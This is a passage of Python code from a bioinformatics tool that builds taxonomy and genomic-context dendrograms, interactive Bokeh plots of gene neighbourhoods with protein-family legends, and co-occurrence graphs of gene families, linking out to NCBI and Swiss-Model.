j:\n\t\t\t\tdists = []\n\t\t\t\tfor i_member_pacmap in operons[i_operon_type]['operon_filtered_PaCMAP']:\n\t\t\t\t\tfor j_member_pacmap in operons[j_operon_type]['operon_filtered_PaCMAP']:\n\t\t\t\t\t\tdist = np.linalg.norm(np.array(i_member_pacmap)-np.array(j_member_pacmap))\n\t\t\t\t\t\tdists.append(dist)\n#\t\t\t\t dist = np.linalg.norm(np.array(operons[i_operon_type]['operon_centroid_PaCMAP'])-np.array(operons[j_operon_type]['operon_centroid_PaCMAP']))\n\t\t\t\tdist = min(dists)\n\t\t\t\tmatrix[i][j] = dist\n\t\t\t\tmatrix[j][i] = dist\n\t\n\treturn np.array(matrix), selected_operons\n\ndef normalize_matrix(similarity_matrix, power=30):\n\n\tmin_dist = pd.DataFrame(similarity_matrix).min().min()\n\tmax_dist = pd.DataFrame(similarity_matrix).max().max()\n\t\n\tnormalised_matrix = 1-(np.array(similarity_matrix)-min_dist)/max_dist\n\tnormalised_matrix = np.power(normalised_matrix, power)\n\t\n\treturn normalised_matrix\n\ndef compute_dendogram(taxonomy, operons, input_targets = None, mode = 'taxonomy', tree = None, tree_format = None, distance_matrix = None, labels = None):\n\t\n\tif distance_matrix is None:\n\t\tif tree != None:\n\t\t\tdistance_matrix, labels = get_phylogeny_distance_matrix(tree, input_targets = input_targets, tree_format = tree_format)\n\t\telif mode == 'operon':\n\t\t\tdistance_matrix, labels = get_operons_distance_matrix(operons, input_targets = input_targets)\n\t\telif mode == 'operon clusters':\n\t\t\tdistance_matrix, labels = get_avgoperons_distance_matrix(operons)\t\t \n\t\telse:\n\t\t\tdistance_matrix, labels = get_taxonomy_distance_matrix(taxonomy, operons, input_targets = input_targets, mode = mode)\n\n\tdistance_matrix = distance.squareform(distance_matrix)\n\n\tZ = hierarchy.linkage(distance_matrix, method = 'single')\n\tresults = hierarchy.dendrogram(Z, no_plot=True, count_sort = 'descending')\n\n\tif mode == 'taxonomy' or tree != None or 'operon' in mode:\n\t\tlabels_indeces = list(map(int, results['ivl']))\n\t\tlabels = [labels[i] for i in labels_indeces]\n\n\treturn results, labels\n\ndef create_dendogram_features(dendogram, leaf_labels, taxonomy, operons = None, mode = 'taxonomy', colors = None):\n\n\tif mode == 'operon clusters':\n\t\tdata = {'cluster size': [],\n\t\t\t\t'x': [],\n\t\t\t\t'y': [],\n\t\t\t\t'color': [],\n\t\t\t\t'leaf_label': leaf_labels}\n\t\t\n\t\ttooltips = [('Cluster type', '@leaf_label'),\n\t\t\t\t\t('Cluster size', '@cluster_size')]\n\t\t\n\telse:\n\t\tdata = {'superkingdom': [],\n\t\t\t\t'phylum': [],\n\t\t\t\t'class': [],\n\t\t\t\t'order': [],\n\t\t\t\t'genus': [],\n\t\t\t\t'species': [],\n\t\t\t\t'x': [],\n\t\t\t\t'y': [],\n\t\t\t\t'color': [],\n\t\t\t\t'leaf_label': leaf_labels}\n\t\t\n\t\ttooltips = [('Superkingdom', '@superkingdom'),\n\t\t\t\t\t('Phylum', '@phylum'),\n\t\t\t\t\t('Class', '@class'),\n\t\t\t\t\t('Order', '@order'),\n\t\t\t\t\t('Genus', '@genus'),\n\t\t\t\t\t('Species', '@species')]\n\n\ticoord, dcoord = dendogram['icoord'], dendogram['dcoord']\n\n\tdata['y'] = list(np.linspace(min([num for sublist in icoord for num in sublist]), max([num for sublist in icoord for num in sublist]), len(leaf_labels)))\n\tdata['x'] = [1 for y in data['y']] \n\n\tfor label in leaf_labels:\n\t\tif colors is not None and label in colors:\n\t\t\tcolor = colors[label]['Color (RGBA)']\n\t\telse:\n\t\t\tcolor = 'darkgrey'\n\t\t\n\t\tdata['color'].append(color)\n\t\t\n\t\tif mode == 'operon clusters':\n\t\t\tdata['cluster size'].append(str(len(operons[label]['target_members'])))\n\t\telse:\n\t\t\tfound_taxonomy = False\n\t\t\tfor superkingdom in taxonomy:\n\t\t\t\tfor phylum in taxonomy[superkingdom]:\n\t\t\t\t\tfor taxclass in taxonomy[superkingdom][phylum]:\n\t\t\t\t\t\tfor order in taxonomy[superkingdom][phylum][taxclass]:\n\t\t\t\t\t\t\tfor genus in taxonomy[superkingdom][phylum][taxclass][order]:\n\t\t\t\t\t\t\t\tfor species in taxonomy[superkingdom][phylum][taxclass][order][genus]:\n\t\t\t\t\t\t\t\t\tif species == label:\n\t\t\t\t\t\t\t\t\t\tdata['superkingdom'].append(superkingdom)\n\t\t\t\t\t\t\t\t\t\tdata['phylum'].append(phylum)\n\t\t\t\t\t\t\t\t\t\tdata['class'].append(taxclass)\n\t\t\t\t\t\t\t\t\t\tdata['order'].append(order)\n\t\t\t\t\t\t\t\t\t\tdata['genus'].append(genus)\n\t\t\t\t\t\t\t\t\t\tfound_taxonomy = True\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tfor target in taxonomy[superkingdom][phylum][taxclass][order][genus][species]['target_members']:\n\t\t\t\t\t\t\t\t\t\t\tif target == label:\n\t\t\t\t\t\t\t\t\t\t\t\tdata['superkingdom'].append(superkingdom)\n\t\t\t\t\t\t\t\t\t\t\t\tdata['phylum'].append(phylum)\n\t\t\t\t\t\t\t\t\t\t\t\tdata['class'].append(taxclass)\n\t\t\t\t\t\t\t\t\t\t\t\tdata['order'].append(order)\n\t\t\t\t\t\t\t\t\t\t\t\tdata['genus'].append(genus)\n\t\t\t\t\t\t\t\t\t\t\t\tdata['species'].append(species)\n\t\t\t\t\t\t\t\t\t\t\t\tfound_taxonomy = True\n\t\t\tif not found_taxonomy:\n\t\t\t\tdata['superkingdom'].append('na')\n\t\t\t\tdata['phylum'].append('na')\n\t\t\t\tdata['class'].append('na')\n\t\t\t\tdata['order'].append('na')\n\t\t\t\tdata['genus'].append('na')\n\t\t\t\tdata['species'].append('na')\n\n\treturn tooltips, data\n\ndef make_dendogram_figure(taxonomy, operons, input_targets = None, tree = None, mode = 'taxonomy', show_leafs = True, height_factor = 20, tree_format = None, distance_matrix = None, labels = None, colors = None):\n\n\tdendogram, leaf_labels = compute_dendogram(taxonomy, operons, input_targets = input_targets, mode = mode, tree = tree, tree_format = tree_format, distance_matrix = distance_matrix, labels = labels)\n\tden_tooltips, den_data = create_dendogram_features(dendogram, leaf_labels, taxonomy, operons = operons, mode = mode, colors = colors)\n\n\ty_range = [0, max(den_data['y'])+min(den_data['y'])+(den_data['y'][1]-den_data['y'][0])]\n\n\tif len(leaf_labels) < 5:\n\t\theight = int(len(leaf_labels)*height_factor)*3\n\telif len(leaf_labels) < 10:\n\t\theight = int(len(leaf_labels)*height_factor)*2\n\telse:\n\t\theight = int(len(leaf_labels)*height_factor)\n\n\tif tree != None:\n\t\ttitle = 'Input phylogeny/hierarchy'\n\telif mode == 'taxonomy':\n\t\ttitle = 'Taxonomy hierarchy'\n\telif mode == 'operons':\n\t\ttitle = 'Genomic contexts similarity hierarchy'\n\telse:\n\t\ttitle = 'Genomic contexts clusters hierarchy'\n\n\tif show_leafs:\n\t\tden = figure(title = title, height=height, width=500, x_range=[-max(max(dendogram['dcoord']))-(max(max(dendogram['dcoord']))-min(min(dendogram['dcoord'])))*0.2, 40], y_range = y_range, toolbar_location=\"left\")\n\telse:\n\t\tden = figure(title = title, height=height, width=250, x_range=[-max(max(dendogram['dcoord']))-(max(max(dendogram['dcoord']))-min(min(dendogram['dcoord'])))*0.2, 0.2], y_range = y_range, toolbar_location=\"left\")\n\n\tfor i, d in zip(dendogram['icoord'], dendogram['dcoord']):\n\t\td = list(map(lambda x: -x, d))\n\t\tden.line(x=d, y=i, line_color='black')\n\n\tif show_leafs:\n\t\tleafs = den.text(x='x', y='y', text = 'leaf_label', text_baseline='middle', text_font_size='8pt', source = den_data)\n\telse:\n\t\tleafs = den.circle(x=0.1, y='y', line_color = 'black', fill_color = 'color', source = den_data, size = (den_data['y'][1] - den_data['y'][0])*0.7)\n\tden.add_tools(HoverTool(tooltips=den_tooltips, renderers=[leafs]))\n\n\tden.title.align = \"right\"\n\tden.axis.major_tick_line_color = None\n\tden.axis.minor_tick_line_color = None\n\tden.axis.major_label_text_color = None\n\tden.axis.major_label_text_font_size = '0pt'\n\tden.axis.axis_line_color = None\n\tden.grid.grid_line_color = None\n\tden.outline_line_color = None\n\n\treturn den, den_data\n\n# 9.3. Routines to draw all genomic contexts\n\ndef create_genomic_context_features(operons, all_syntenies, family_colors, syn_den_data, reference_family, legend_mode = 'ncbi_code'):\n\t\n\tdata = {'operon':[],\n\t\t\t'target_id':[],\n\t\t\t'ncbi_code':[],\n\t\t\t'ncbi_link':[],\n\t\t\t'assembly': [],\n\t\t\t'name':[],\n\t\t\t'family': [],\n\t\t\t'superkingdom': [],\n\t\t\t'phylum': [],\n\t\t\t'class': [],\n\t\t\t'order': [],\n\t\t\t'genus': [],\n\t\t\t'species': [],\n\t\t\t'relative_start': [],\n\t\t\t'relative_end': [],\n\t\t\t'facecolor': [],\n\t\t\t'edgecolor': [],\n\t\t\t'linestyle': [],\n\t\t\t'xs':[],\n\t\t\t'ys':[],\n\t\t\t'half_heights': [],\n\t\t\t'text_x': [],\n\t\t\t'text_y': [],\n\t\t\t'tm_text_x': [],\n\t\t\t'tm_text_y': [],\n\t\t\t'tm_text': [],\n\t\t\t'tm_pred_text': []}\n\t\n\tyyticklabels = []\n\tyys = []\n\ty_step = syn_den_data['y'][1] - syn_den_data['y'][0]\n\ty_half_height = y_step/4\n\t\n\tfor i, current_target in enumerate(syn_den_data['leaf_label']):\n\t\toperon = [operon for operon in operons if current_target in operons[operon]['target_members']][0]\n\t\tcurrent_assembly = all_syntenies[current_target]['assembly_id'][1]\n\t\tcurrent_species = all_syntenies[current_target]['species']\n\t\tcurrent_genomic_context_block = all_syntenies[current_target]['flanking_genes']\n\t\tcurrent_species = all_syntenies[current_target]['species']\n\t\tcurrent_reference_family = all_syntenies[current_target]['target_family']\n\t\t\n\t\tcurr_y = syn_den_data['y'][i]\n\n\t\tfor j, flanking_gene in enumerate(current_genomic_context_block['ncbi_codes']):\n\t\t\tfamily = current_genomic_context_block['families'][j]\n\t\t\tname = current_genomic_context_block['names'][j]\n\t\t\tgene_dx = current_genomic_context_block['relative_ends'][j] - current_genomic_context_block['relative_starts'][j]+1\n\t\t\tgene_direction = current_genomic_context_block['directions'][j]\n\n\t\t\tif gene_direction == '-':\n\t\t\t\tgene_x_tail = current_genomic_context_block['relative_ends'][j]\n\t\t\t\tgene_dx = gene_dx*(-1)\n\t\t\t\tgene_x_head = gene_x_tail + gene_dx\n\t\t\t\tgene_x_head_start = gene_x_head+100\n\t\t\t\ttext_x = gene_x_tail - (gene_x_tail-gene_x_head_start)/2\n\t\t\telse:\n\t\t\t\tgene_x_tail = current_genomic_context_block['relative_starts'][j]\n\t\t\t\tgene_x_head = gene_x_tail + gene_dx\n\t\t\t\tgene_x_head_start = gene_x_head-100\n\t\t\t\ttext_x = gene_x_tail + (gene_x_head_start-gene_x_tail)/2\n\n\t\t\tif family == 0:\n\t\t\t\tfacecolor = family_colors[family]['Color (RGBA)']\n\t\t\t\tedgecolor = family_colors[family]['Line color']\n\t\t\t\tlinestyle = family_colors[family]['Line style']\n\t\t\telse:\n\t\t\t\tfacecolor = family_colors[family]['Color (RGBA)']\n\t\t\t\tedgecolor = family_colors[family]['Line color']\n\t\t\t\tlinestyle = family_colors[family]['Line style'] \n\t\t\t\t\n\t\t\tdata['operon'].append(operon)\n\t\t\tdata['target_id'].append(current_target)\n\t\t\tdata['ncbi_code'].append(flanking_gene)\n\t\t\tdata['assembly'].append(current_assembly)\n\t\t\tdata['name'].append(name)\n\t\t\tdata['relative_start'].append(format(gene_x_tail, ',d'))\n\t\t\tdata['relative_end'].append(format(gene_x_head, ',d'))\n\t\t\tdata['facecolor'].append(facecolor)\n\t\t\tdata['edgecolor'].append(edgecolor)\n\t\t\tdata['linestyle'].append(linestyle)\n\t\t\tdata['xs'].append([gene_x_tail, gene_x_tail, gene_x_head_start, gene_x_head, gene_x_head_start])\n\t\t\tdata['ys'].append([curr_y-y_half_height, curr_y+y_half_height, curr_y+y_half_height, curr_y, curr_y-y_half_height])\n\t\t\tdata['half_heights'].append(y_half_height)\n\t\t\tdata['text_x'].append(text_x)\n\t\t\tdata['text_y'].append(curr_y+y_half_height)\n\t\t\tdata['ncbi_link'].append('https://www.ncbi.nlm.nih.gov/protein/{}'.format(flanking_gene))\n\t\t\tdata['tm_text_x'].append(text_x)\n\t\t\tdata['tm_text_y'].append(curr_y)\n\t\t\t\n\t\t\tif 'TM_annotations' in current_genomic_context_block:\n\t\t\t\ttm_annotation = current_genomic_context_block['TM_annotations'][j]\n\t\t\t\tif tm_annotation == 'TM':\n\t\t\t\t\tdata['tm_pred_text'].append('Yes')\n\t\t\t\telif tm_annotation == 'SP':\n\t\t\t\t\tdata['tm_pred_text'].append('Contains signal peptide')\n\t\t\t\telse:\n\t\t\t\t\tdata['tm_pred_text'].append('No')\n\t\t\telse:\n\t\t\t\ttm_annotation = ''\n\t\t\t\tdata['tm_pred_text'].append('n.a.')\n\t\t\t\t\n\t\t\tdata['tm_text'].append(tm_annotation)\n\t\t\t\t\t\t\t\t \n\t\t\tif family != 0 and family != reference_family and family < 10000:\n\t\t\t\tdata['family'].append(family)\n\t\t\telse:\n\t\t\t\tdata['family'].append(str(''))\n\t\t\t\t\n\t\t\tdata['species'].append(current_species)\n\t\t\tfor level in ['superkingdom', 'phylum', 'class', 'order', 'genus']:\n\t\t\t\tdata[level].append(syn_den_data[level][i])\n\t\t\n\t\tif legend_mode in ['superkingdom', 'phylum', 'class', 'order', 'genus', 'species']:\n\t\t\tlabel = data[legend_mode][-1]\n\t\t\tif label == []:\n\t\t\t\tlabel = 'n.a'\n\t\t\tyyticklabels.append(label)\n\t\telse:\n\t\t\tyyticklabels.append('{} | {}'.format(current_target, operon))\n\t\t\t\n\t\tyys.append(curr_y)\n\t\t\n\tyyticklabels = {int(yys[i]): yyticklabels[i] for i in range(len(yyticklabels))}\n\n\ttooltips = [('GC type', \"@operon\"),\n\t\t\t\t('InputID', \"@target_id\"),\n\t\t\t\t('EntrezID', '@ncbi_code'),\n\t\t\t\t('Genome assembly', '@assembly'),\n\t\t\t\t('Gene relative start', '@relative_start'),\n\t\t\t\t('Gene relative end', '@relative_end'),\n\t\t\t\t(\"Protein name\", \"@name\"),\n\t\t\t\t(\"Protein family code\", \"@family\"),\n\t\t\t\t(\"Predicted membrane protein\", \"@tm_pred_text\"),\n\t\t\t\t('Superkingdom', '@superkingdom'),\n\t\t\t\t('Phylum', '@phylum'),\n\t\t\t\t('Class', '@class'),\n\t\t\t\t('Order', '@order'),\n\t\t\t\t('Genus', '@genus'),\n\t\t\t\t(\"Species\", \"@species\")] \n\t\t\n\treturn tooltips, data, yyticklabels\n\n\ndef create_genomic_context_figure(operons, all_syntenies, family_colors, syn_den_data, syn_dendogram, most_common_gc_figure, reference_family, legend_mode = 'ncbi_code', height_factor = 25*1.2):\n\n\tp_tooltips, p_data, p_yyticklabels = create_genomic_context_features(operons, all_syntenies, family_colors, syn_den_data, reference_family = reference_family, legend_mode = legend_mode)\n\t\n\tp = figure(plot_width=most_common_gc_figure.plot_width, plot_height=syn_dendogram.height, x_range = most_common_gc_figure.x_range, y_range = syn_dendogram.y_range, toolbar_location=\"left\", title = 'Representative genomic contexts (hover to get more information)') # the genomic_context figure\n\n\tfor i, xs in enumerate(p_data['xs']):\n\t\tp.patch(xs, p_data['ys'][i], fill_color = p_data['facecolor'][i], line_color = p_data['edgecolor'][i], line_width = 1)\n\n\tp.patches('xs', 'ys', fill_color = None, line_color = None, line_width = 0, source = p_data, \n\t\t\t hover_fill_color = 'white', hover_line_color = 'edgecolor', hover_fill_alpha = 0.5, \n\t\t\t selection_fill_color='facecolor', selection_line_color='edgecolor',\n\t\t\t nonselection_fill_color='facecolor', nonselection_line_color='edgecolor', nonselection_fill_alpha=0.2)\n\n\tp.text('text_x', 'text_y', text = 'family', text_baseline=\"bottom\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = p_data)\n\tp.text('tm_text_x', 'tm_text_y', text = 'tm_text', text_color = \"white\", text_baseline=\"middle\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = p_data)\n\t\n\t# define yticks on the left\n\tp.yaxis.ticker = [int(n) for n in list(p_yyticklabels.keys())]\n\tp.yaxis.major_tick_line_color = None\n\tp.yaxis.major_label_overrides = {int(i): p_yyticklabels[i] for i in [int(n) for n in p_yyticklabels.keys()]}\n#\t p.yaxis.major_label_text_font_size = {'value': '8pt'}\n#\t p.yaxis.major_label_text_font_style = 'italic'\n\tp.yaxis.axis_line_width = 0\n\t\n\t# define xticks\n\tp.xaxis.axis_label = \"Position relative to target (bp)\"\n\n\t# define general features\n\tp.grid.visible = False\n\tp.outline_line_width = 0\n\n\tp.add_tools(HoverTool(tooltips=p_tooltips))\n\tp.add_tools(TapTool(callback = OpenURL(url='@ncbi_link')))\n\t\t\n\treturn p\n\n# 9.4. Routines to draw legend figure\n\ndef create_legend_features(operons, families_summary, reference_family, family_colors, dx = 50):\n\t\n\tdata = {'xs': [],\n\t\t\t'ys': [],\n\t\t\t'edgecolor': [],\n\t\t\t'facecolor': [],\n\t\t\t'text': [],\n\t\t\t'label_x': [],\n\t\t\t'label_y': [],\n\t\t\t'text_x': [],\n\t\t\t'text_y': [],\n\t\t\t'tm_text_x': [],\n\t\t\t'tm_text_y': [],\n\t\t\t'tm_text': [],\n\t\t\t'tm_type': [],\n\t\t\t'tm_mode': [],\n\t\t\t'family': [],\n\t\t\t'found_models': [],\n\t\t\t'model_links': [],\n\t\t\t'keywords': [],\n\t\t\t'go_terms': [],\n\t\t\t'function': []}\n\t\n\t\n\tcurr_y = len(family_colors.keys())\n\t\n\tfor family in sorted(list(families_summary.keys())):\n\t\tif family == 0:\n\t\t\tdata['text'].append('Non-conserved gene')\n\t\telif family == reference_family:\n\t\t\tdata['text'].append('Target protein: {}'.format(families_summary[family]['name']))\n\t\telif family == 10000:\n\t\t\tdata['text'].append('Pseudogene')\n\t\telif family in families_summary:\n\t\t\tdata['text'].append(families_summary[family]['name'])\n\t\t\n\t\tif family != 0 and family != reference_family and family < 10000:\n\t\t\tdata['family'].append(family)\n\t\telse:\n\t\t\tdata['family'].append(str(''))\n\t\t\n\t\tif 'model_state' in families_summary[family]:\n\t\t\tmodel_state = families_summary[family]['model_state']\n\n\t\t\tif model_state == 'Model exists':\n\t\t\t\tmodel_state = families_summary[family]['structure']\n\t\t\telif model_state == 'Model does not exist':\n\t\t\t\tmodel_state = 'click to model/view with Swiss-Model'\n\t\t\telse:\n\t\t\t\tif family > 0 and family < 10000:\n\t\t\t\t\tmodel_state = 'Not possible to find'\n\t\t\t\telse:\n\t\t\t\t\tmodel_state = 'n.a.'\n\t\telse:\n\t\t\tmodel_state = ''\n\t\t\t\n\t\tdata['found_models'].append(model_state)\n\t\t\n\t\tif family > 0 and family < 10000 and 'function' in families_summary[family]:\n\t\t\tif 'TM_topology' in families_summary[family]['function']:\n\t\t\t\ttm_type = families_summary[family]['function'][\"TM_topology\"]\n\t\t\t\tkeywords = ', '.join(sorted(families_summary[family]['function']['Keywords']))\n\t\t\t\tgo_terms = '; '.join(sorted(families_summary[family]['function']['GO_terms']))\n\t\t\t\tfunction = families_summary[family]['function']['Function_description']\n\n\t\t\t\tif len(tm_type) > 0:\n\t\t\t\t\ttm_text = 'TM'\n\t\t\t\t\ttm_mode = 'Yes -> type:'\n\t\t\t\telse:\n\t\t\t\t\ttm_text = ''\n\t\t\t\t\ttm_mode = 'No'\n\t\t\telse:\n\t\t\t\ttm_type = ''\n\t\t\t\ttm_text = ''\n\t\t\t\ttm_mode = ''\n\t\t\t\tkeywords = ''\n\t\t\t\tgo_terms = '' \n\t\t\t\tfunction = ''\n\t\telse:\n\t\t\ttm_type = 'n.a.'\n\t\t\ttm_text = ''\n\t\t\ttm_mode = 'n.a.'\n\t\t\tkeywords = 'n.a.'\n\t\t\tgo_terms = 'n.a.' \n\t\t\tfunction = 'n.a.'\n\t\t\n\t\tif 'structure' in families_summary[family]:\n\t\t\tstructure = families_summary[family]['structure']\n\t\t\tif structure == '':\n\t\t\t\tuniprot_code = families_summary[family]['uniprot_code']\n\t\t\t\tstructure = 'https://swissmodel.expasy.org/repository/uniprot/{}'.format(uniprot_code)\n\t\telse:\n\t\t\tstructure = 'n.a.'\n\t\t\t\n\t\tdata['model_links'].append(structure)\n\t\t\n\t\tdata['facecolor'].append(family_colors[family]['Color (RGBA)'])\n\t\tdata['edgecolor'].append(family_colors[family]['Line color'])\n\t\tdata['xs'].append([5, 5, dx-5, dx, dx-5])\n\t\tdata['ys'].append([curr_y-0.25, curr_y+0.25, curr_y+0.25, curr_y, curr_y-0.25])\n\t\tdata['text_x'].append(((dx-10)/2)+5)\n\t\tdata['text_y'].append(curr_y+0.25)\n\t\t\n\t\tdata['label_x'].append(dx + 10) \n\t\tdata['label_y'].append(curr_y) \n\t\t\n\t\tdata['tm_text_x'].append(((dx-10)/2)+5)\n\t\tdata['tm_text_y'].append(curr_y)\n\t\tdata['tm_text'].append(tm_text)\n\t\tdata['tm_type'].append(tm_type)\n\t\tdata['tm_mode'].append(tm_mode)\n\t\t\n\t\tdata['go_terms'].append(go_terms)\n\t\tdata['keywords'].append(keywords)\n\t\tdata['function'].append(function)\n\t\t\n\t\tcurr_y -= 1\n\t\t\n\ttooltips = [('Protein family', '@text'),\n\t\t\t\t('Protein family code', '@family'),\n\t\t\t\t('Structure', '@found_models'),\n\t\t\t\t('Predicted membrane protein', '@tm_mode @tm_type'),\n\t\t\t\t('Keywords', '@keywords'),\n\t\t\t\t('GO terms', '@go_terms'),\n\t\t\t\t('Function', '@function')]\n\t\n\treturn tooltips, data\n\ndef create_legend_figure(operons, families_summary, reference_family, family_colors, grid, rescale_height = False):\n\t\n\tl_tooltips, l_data = create_legend_features(operons, families_summary, reference_family, family_colors)\n\t\n\theight = int(len(family_colors)*25*1.2)\n\t\n\tif len(l_data['ys']) > len(operons) or rescale_height:\n\t\theight = grid.height\n\t\t\n\tl = figure(plot_width=500, plot_height=height, x_range = [0,500], title = 'Protein families (click to view in Swiss-Model Repository)', toolbar_location=\"right\") # the legend figure\n\t\n\tfor i, xs in enumerate(l_data['xs']):\n\t\tl.patch(xs, l_data['ys'][i], fill_color = l_data['facecolor'][i], line_color = l_data['edgecolor'][i], line_width = 1)\t\n\t\n\tl.patches('xs', 'ys', fill_color = None, line_color = None, line_width = 0, source = l_data, \n\t\t\t hover_fill_color = 'white', hover_line_color = 'edgecolor', hover_fill_alpha = 0.5, \n\t\t\t selection_fill_color='facecolor', selection_line_color='edgecolor',\n\t\t\t nonselection_fill_color='facecolor', nonselection_line_color='edgecolor', nonselection_fill_alpha=0.2)\n\n\tl.text('text_x', 'text_y', text = 'family', text_baseline=\"bottom\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = l_data)\n\tl.text('label_x', 'label_y', text = 'text', text_baseline=\"middle\", text_align=\"left\", text_font_size = {'value': '8pt'}, source = l_data)\n\tl.text('tm_text_x', 'tm_text_y', text = 'tm_text', text_color = \"white\", text_baseline=\"middle\", text_align=\"center\", text_font_size = {'value': '6pt'}, source = l_data)\n\t\n\tl.xaxis.major_tick_line_color = None # turn off x-axis major ticks\n\tl.xaxis.minor_tick_line_color = None # turn off x-axis minor ticks\n\tl.yaxis.major_tick_line_color = None # turn off y-axis major ticks\n\tl.yaxis.minor_tick_line_color = None # turn off y-axis minor ticks\n\tl.xaxis.major_label_text_color = None # turn off x-axis tick labels leaving space\n\tl.yaxis.major_label_text_color = None # turn off y-axis tick labels leaving space \n\tl.yaxis.axis_line_width = 0\n\tl.xaxis.axis_line_width = 0\n\t# define general features\n\tl.grid.visible = False\n\tl.outline_line_width = 0\n\t\n\tl.add_tools(HoverTool(tooltips=l_tooltips))\n\tl.add_tools(TapTool(callback = OpenURL(url='@model_links')))\n\t\t\t\n\treturn l\n\n# 9.5. Routines to make the gene correlation figure\n\ndef get_coocurrence_matrix(operons, families_summary, min_coocc = 0.40):\n\t\n\tfamily_labels = sorted([family for family in families_summary.keys() if family > 0 and family < 10000])\n\tmatrix = [[0 for family in family_labels] for family in family_labels]\n\n\tcontext_count = 0\n\tfor operon in operons:\n\t\tfor genomic_context in operons[operon]['operon_protein_families_structure']:\n\t\t\tfor i in range(len(set(genomic_context))):\n\t\t\t\tfor j in range(len(set(genomic_context))):\n\t\t\t\t\tif i > j:\n\t\t\t\t\t\tout_family = list(set(genomic_context))[i]\n\t\t\t\t\t\tin_family = list(set(genomic_context))[j]\n\n\t\t\t\t\t\tif all(family > 0 and family < 10000 for family in [out_family, in_family]):\n\t\t\t\t\t\t\tmatrix[family_labels.index(out_family)][family_labels.index(in_family)] += 1\n\t\t\t\t\t\t\tmatrix[family_labels.index(in_family)][family_labels.index(out_family)] += 1\n\n\n\tmatrix = np.array(matrix)\n\tmatrix = matrix/np.amax(matrix)\n\tmatrix = np.where(matrix < min_coocc, 0, matrix)\n\tmatrix = np.where(matrix!=0, (np.exp(matrix*2)-1)*1, matrix)\n\n\t# remove all columns and lines with all zero\n\tindices_with_all_zeros = np.all(matrix == 0, axis=1)\n\n\tmatrix = matrix[~indices_with_all_zeros]\n\tmatrix = matrix.T[~indices_with_all_zeros]\n\n\tselected_families = np.array(family_labels)[~indices_with_all_zeros]\n\tselected_families_summary = {family: families_summary[family] for family in selected_families}\n\t\n\treturn matrix, selected_families_summary\n\ndef get_adjcency_matrix(operons, families_summary):\n\t\n\tfamily_labels = sorted([family for family in families_summary.keys() if family > 0 and family < 10000])\n\tmatrix = [[0 for family in family_labels] for family in family_labels]\n\t\n\tcontext_count = 0\n\tfor operon in operons:\n\t\tfor genomic_context in operons[operon]['operon_protein_families_structure']:\n\t\t\tfor i in range(len(genomic_context)-1):\n\t\t\t\tout_family = genomic_context[i]\n\t\t\t\tin_family = genomic_context[i+1]\n\n\t\t\t\tif all(family > 0 and family < 10000 for family in [out_family, in_family]):\n\t\t\t\t\tmatrix[family_labels.index(out_family)][family_labels.index(in_family)] += 1\n\t\t\t\t\tmatrix[family_labels.index(in_family)][family_labels.index(out_family)] += 1\n\n\tmatrix = np.array(matrix)\n\t\n\treturn matrix, family_labels\n\ndef get_graph_from_matrix(matrix, selected_families_summary, family_colors):\n\t\n\tG=nx.from_numpy_array(matrix)\n\n\t# take care of the edges\n\tedge_params = {'color': {}, 'weight': {}, 'line_width': {}}\n\tedge_cmap = matplotlib.cm.get_cmap('Greys')\n\tedge_norm = matplotlib.colors.Normalize(vmin = 0, vmax = 4)\n\n\tfor start_node, end_node, params in G.edges(data=True):\n\t\tedge_color = edge_cmap(edge_norm(round(params['weight'])))\n\t\tedge_params['line_width'][(start_node, end_node)] = params['weight']\n\t\tedge_params['color'][(start_node, end_node)] = RGB(int(255*list(edge_color)[0]), int(255*list(edge_color)[1]), int(255*list(edge_color)[2]))\n\t\tedge_params['weight'][(start_node, end_node)] = 1\n\t\t\n\t# take care of the nodes\n\tnode_params = {'color': {}, 'label': {}}\n\tfor node, _ in G.nodes(data=True):\n\t\tnode_label = sorted(list(selected_families_summary.keys()))[node]\n\t\tnode_params['label'][node] = node_label\n\n\t\tnode_color = family_colors[node_label]['Color (RGBA)']\n\t\tnode_params['color'][node] = node_color\n\n\tnx.set_node_attributes(G, node_params['color'], \"node_color\")\n\tnx.set_node_attributes(G, node_params['label'], \"node_label\")\n\tnx.set_edge_attributes(G, edge_params['color'], \"edge_color\")\n\tnx.set_edge_attributes(G, edge_params['line_width'], \"line_width\")\n\tnx.set_edge_attributes(G, edge_params['weight'], \"weight\")\n\t\n\treturn G\n\ndef remove_non_adjacent_edges(operons, families_summary, G, families_present):\n\t\n\tadjacency_matrix, family_labels = get_adjcency_matrix(operons, families_summary)\n\t\n\tedges_to_remove = []\n\tfor start_node, end_node, params in G.edges(data=True):\n\t\tstart_node_index = family_labels.index(families_present[start_node])\n\t\tend_node_index = family_labels.index(families_present[end_node])\n\t\t\n\t\tif adjacency_matrix[start_node_index][end_node_index] == 0:\n\t\t\tedges_to_remove.append((start_node, end_node))\n\t\n\tfor edge in edges_to_remove:\n\t\tG.remove_edge(*edge)\n\t\n\treturn G\n\ndef create_node_features(families_summary, reference_family, node_graph_coords, G):\n\t\n\tdata = {'text_x': [],\n\t\t\t'text_y': [],\n\t\t\t'family': [],\n\t\t\t'tm_text_x': [],\n\t\t\t'tm_text_y': [],\n\t\t\t'tm_text': [],\n\t\t\t'tm_type': [],\n\t\t\t'tm_pred_text': [],\n\t\t\t'protein_name': [],\n\t\t\t'found_models': [],\n\t\t\t'model_links': []}\n\t\n\tfor node in node_graph_coords:\n\t\t\n\t\tfamily = G.nodes[node]['node_label']\n\t\tcoords = node_graph_coords[node]\n\t\tprotein_name = families_summary[family]['name']\n\t\t\n\t\tif family > 0 and family < 10000 and 'function' in families_summary[family]:\n\t\t\tif 'TM_topology' in families_summary[family]['function']:\n\t\t\t\ttm_type = families_summary[family]['function'][\"TM_topology\"]\n\t\t\t\t\n\t\t\t\tif len(tm_type) > 0:\n\t\t\t\t\ttm_text = 'TM'\n\t\t\t\t\ttm_mode = 'Yes -> type:'\n\t\t\t\telse:\n\t\t\t\t\ttm_text = ''\n\t\t\t\t\ttm_mode = 'No'\n\t\t\telse:\n\t\t\t\ttm_type = ''\n\t\t\t\ttm_text = ''\n\t\t\t\ttm_mode = ''\n\t\telse:\n\t\t\ttm_type = 'n.a.'\n\t\t\ttm_text = ''\n\t\t\ttm_mode = 'n.a.'\n\t\t\n\t\tif 'model_state' in families_summary[family]:\n\t\t\tmodel_state = families_summary[family]['model_state']\n\n\t\t\tif model_state == 'Model exists':\n\t\t\t\tmodel_state = 'Yes 